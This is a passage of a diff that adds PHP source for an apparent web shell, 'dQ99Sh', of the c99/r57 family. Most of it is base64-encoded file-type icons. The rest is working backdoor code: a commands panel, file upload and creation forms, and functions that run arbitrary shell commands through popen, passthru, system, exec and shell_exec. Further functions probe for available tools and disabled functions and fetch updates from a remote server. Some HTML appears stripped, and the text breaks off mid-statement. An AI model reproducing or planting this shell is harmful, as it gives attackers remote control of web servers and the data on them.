+"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA". +"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5dQ4MSKv1BgRGGMo0iJFC2ehHjSoMt/". +"AQEAOw==", +"sql_button_empty"=> +"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA". +"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==", +"sql_button_insert"=> +"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA". +"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=", +"up"=> +"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg". +"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwdQtop4p53PwLKOjvvV". +"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==", +"write"=> +"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9dQwQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze". +"EQYQLUAsGgM0Wwt3bCJfQSdQ10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61". +"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==", +"ext_asp"=> +"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/". +"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI". +"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=", +"ext_mp3"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU". +"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc". +"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=", +"ext_avi"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM". +"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4". +"PYXCyg+V2i44XeRmSfYqsGhAAgA7", +"ext_cgi"=> +"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9". +"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6". +"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S". +"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ". +"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM". +"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD". +"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi". +"RYtMAgEAOw==", +"ext_cmd"=> +"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI". +"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN". +"dmrYAMn1onq/YKpjvEgAADs=", +"ext_cpp"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC". +"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra". +"Eq7YrLDE7a4SADs=", +"ext_ini"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL". +"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM". +"SnEjgPVarHEHgrB43JvszsQEADs=", +"ext_diz"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs". +"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv". +"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3". +"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7dQ08vD//+3///P///H///P7/8nq/8fp/8Tl98zr". +"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX". +"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA". +"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW". +"9c/o/87n/8DX7MHY7q/K5LdQ9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK". +"4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm". +"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg". +"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF". +"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA". +"Ow==", +"ext_doc"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR". +"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq". +"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=", +"ext_exe"=> +"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7". +"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt". +"xhIAOw==", +"ext_h"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB". +"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo". +"Wq/NknbbSgAAOw==", +"ext_hpp"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF". +"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR". +"UqUagnbLdZa+YFcCADs=", +"ext_htaccess"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6". +"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ". +"AAA7", +"ext_html"=> +"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz". +"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P". +"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk". +"Bkx2BXWDdQ8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR". +"ADs=", +"ext_jpg"=> +"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci". +"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd". +"dQEAOw==", +"ext_js"=> +"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH". +"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs". +"a00AjYYBbc/o9HjNniUAADs=", +"ext_lnk"=> +"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO". +"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi". +"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk". +"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG". +"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5". +"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf". +"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ". +"ADs=", +"ext_log"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN". +"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==", +"ext_php"=> +"R0lGODlhEAAQAIABAAAAAP///ywAAAAAEAAQAAACJkQeoMua1tBxqLH37HU6arxZYLdIZMmd0Oqp". +"aGeyYpqJlRG/rlwAADs=", +"ext_pl"=> +"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo". +"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7", +"ext_swf"=> +"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O". +"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA". +"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEdQXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC". +"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=", +"ext_tar"=> +"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC". +"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF". +"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD". +"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p". +"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg". +"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd". +"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB". +"u4tLAgEAOw==", +"ext_txt"=> +"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ". +"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7". +"UpPWG3Ig6Hq/XmRjuZwkAAA7", +"ext_wri"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao". +"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=", +"ext_xml"=> +"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA". +"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx". +"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ". +"IQA7" +); +//Untuk optimalisasi ukuran dan kecepatan. +$imgequals = array( + "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), + "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), + "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), + "ext_html"=>array("ext_html","ext_htm"), + "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), + "ext_lnk"=>array("ext_lnk","ext_url"), + "ext_ini"=>array("ext_ini","ext_css","ext_inf"), + "ext_doc"=>array("ext_doc","ext_dot"), + "ext_js"=>array("ext_js","ext_vbs"), + "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), + "ext_wri"=>array("ext_wri","ext_rtf"), + "ext_swf"=>array("ext_swf","ext_fla"), + "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), + "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") +); +if (!$getall) { + header("Content-type: image/gif"); + header("Cache-control: public"); + header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); + header("Cache-control: max-age=".(60*60*24*7)); + header("Last-Modified: ".date("r",filemtime(__FILE__))); + foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} + if (empty($images[$img])) {$img = "small_unk";} + if (in_array($img,$ext_tar)) {$img = "ext_tar";} + echo base64_decode($images[$img]); +} +else { + foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]
    ");}}}} + natsort($images); + $k = array_keys($images); + echo "
    "; + foreach ($k as $u) {echo $u.":
    ";} + echo "
    "; +} +exit; +} +if ($act == "about") { + echo "
    Credits:
    Idea, leading and coding by tristram [CCTeaM]
    ". + "Beta-testing and some tips by NukLeoN [AnTiSh@Re tEaM]
    ". + "Re-Coding, tricks, html and css by diKi [FeeLCoMz CoMMuNiTy]

    ". + "Report bugs to r57.biz
    "; +} +echo "\n"; +/*** COMMANDS PANEL ***/ +?> +
    .: COMMANDS PANEL :.
    + + + + + + + + + + + + + + + + +
    Command:
    + + + + +
    +
    Quick Commands:
    + + + + +
    +
    Upload:
    + + + +
    +
    PHP Filesystem: + + +\r\n". + "\r\n". + " \r\n". + " \r\n". + "
    \r\n"; + foreach ($sh_sourcez as $e => $o) { + echo "\r\n"; + } + echo "\r\n"; +?> +
    Search File:
    + regexp +
    +
    Create File:
    + Overwrite +
    View File:
    + +
    + + +&1', 'r'); + if ( is_resource($h) ) { + while ( !feof($h) ) { $output .= fread($h, 2096); } + pclose($h); + } + } + elseif ( enabled("passthru") ) { @ob_start(); passthru($cmd); $output = @ob_get_contents(); @ob_end_clean(); } + elseif ( enabled("system") ) { @ob_start(); system($cmd); $output = @ob_get_contents(); @ob_end_clean(); } + elseif ( enabled("exec") ) { exec($cmd,$o); $output = join("\r\n",$o); } + elseif ( enabled("shell_exec") ) { $output = shell_exec($cmd); } + return $output; +} +function dQ99exec2($cmd) { + $output = ""; + if ( enabled("system") ) { @ob_start(); system($cmd); $output = @ob_get_contents(); @ob_end_clean(); } + elseif ( enabled("exec") ) { exec($cmd,$o); $output = join("\r\n",$o); } + elseif ( enabled("shell_exec") ) { $output = shell_exec($cmd); } + elseif ( enabled("passthru") ) { @ob_start(); passthru($cmd); $output = @ob_get_contents(); @ob_end_clean(); } + elseif ( enabled("popen") ) { + $h = popen($cmd.' 2>&1', 'r'); + if ( is_resource($h) ) { + while ( !feof($h) ) { $output .= fread($h, 2096); } + pclose($h); + } + } + return $output; +} +function which($pr) { + $path = dQ99exec("which $pr"); + if(!empty($path)) { return $path; } else { return $pr; } +} + +function get_status() { + function showstat($sup,$stat) { + if ($stat=="on") { return "$sup: ON"; } + else { return "$sup: OFF"; } + } + $arrfunc = array( + array("MySQL","mysql_connect"), + array("MSSQL","mssql_connect"), + array("Oracle","ocilogon"), + array("PostgreSQL","pg_connect"), + array("Curl","curl_version"), + ); + $arrcmd = array( + array("Fetch","fetch --help"), + array("Wget","wget --help"), + array("Perl","perl -v"), + ); + + $statinfo = array(); + foreach ($arrfunc as $func) { + if (function_exists($func[1])) { $statinfo[] = showstat($func[0],"on"); } + else { $statinfo[] = showstat($func[0],"off"); } + } + $statinfo[] = (@extension_loaded('sockets'))?showstat("Sockets","on"):showstat("Sockets","off"); + foreach ($arrcmd as $cmd) { + if (dQ99exec2($cmd[1])) { $statinfo[] = showstat($cmd[0],"on"); } + else { $statinfo[] = showstat($cmd[0],"off"); } + } + return implode(" ",$statinfo); +} +function showdisfunc() { + if ($disablefunc = @ini_get("disable_functions")) { + return "".$disablefunc.""; + } + else { return "NONE"; } +} +function disp_drives($curdir,$surl) { + $letters = ""; + $v = explode("\\",$curdir); + $v = $v[0]; + foreach (range("A","Z") as $letter) { + $bool = $isdiskette = $letter == "A"; + if (!$bool) { $bool = is_dir($letter.":\\"); } + if ($bool) { + $letters .= " "; + if ($letter.":" != $v) { $letters .= $letter; } + else { $letters .= "".$letter.""; } + $letters .= " "; + } + } + if (!empty($letters)) { Return $letters; } + else {Return "None"; } +} +function disp_freespace($curdrv) { + $free = @disk_free_space($curdrv); + $total = @disk_total_space($curdrv); + if ($free === FALSE) { $free = 0; } + if ($total === FALSE) { $total = 0; } + if ($free < 0) { $free = 0; } + if ($total < 0) { $total = 0; } + $used = $total-$free; + $free_percent = round(100/($total/$free),2)."%"; + $free = view_size($free); + $total = view_size($total); + return "$free of $total ($free_percent)"; +} +## dQ99Sh UPDATE FUNCTIONS ## +function dQ99getsource($fn) { + global $dQ99sh_sourcesurl; + $array = array( + "dQ99sh.php" => "dQ99sh.txt", + ); + $name = $array[$fn]; + if ($name) {return file_get_contents($dQ99sh_sourcesurl.$name);} + else {return FALSE;} +} +function dQ99sh_getupdate($update = TRUE) { + $url = $GLOBALS["dQ99sh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["sh_ver"]))."&updatenow=".($updatenow?"1":"0"); + $data = @file_get_contents($url); + if (!$data) { return "Can't connect to update-server!"; } + else { + $data = ltrim($data); + $string = substr($data,3,ord($data{2})); + if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;} + if 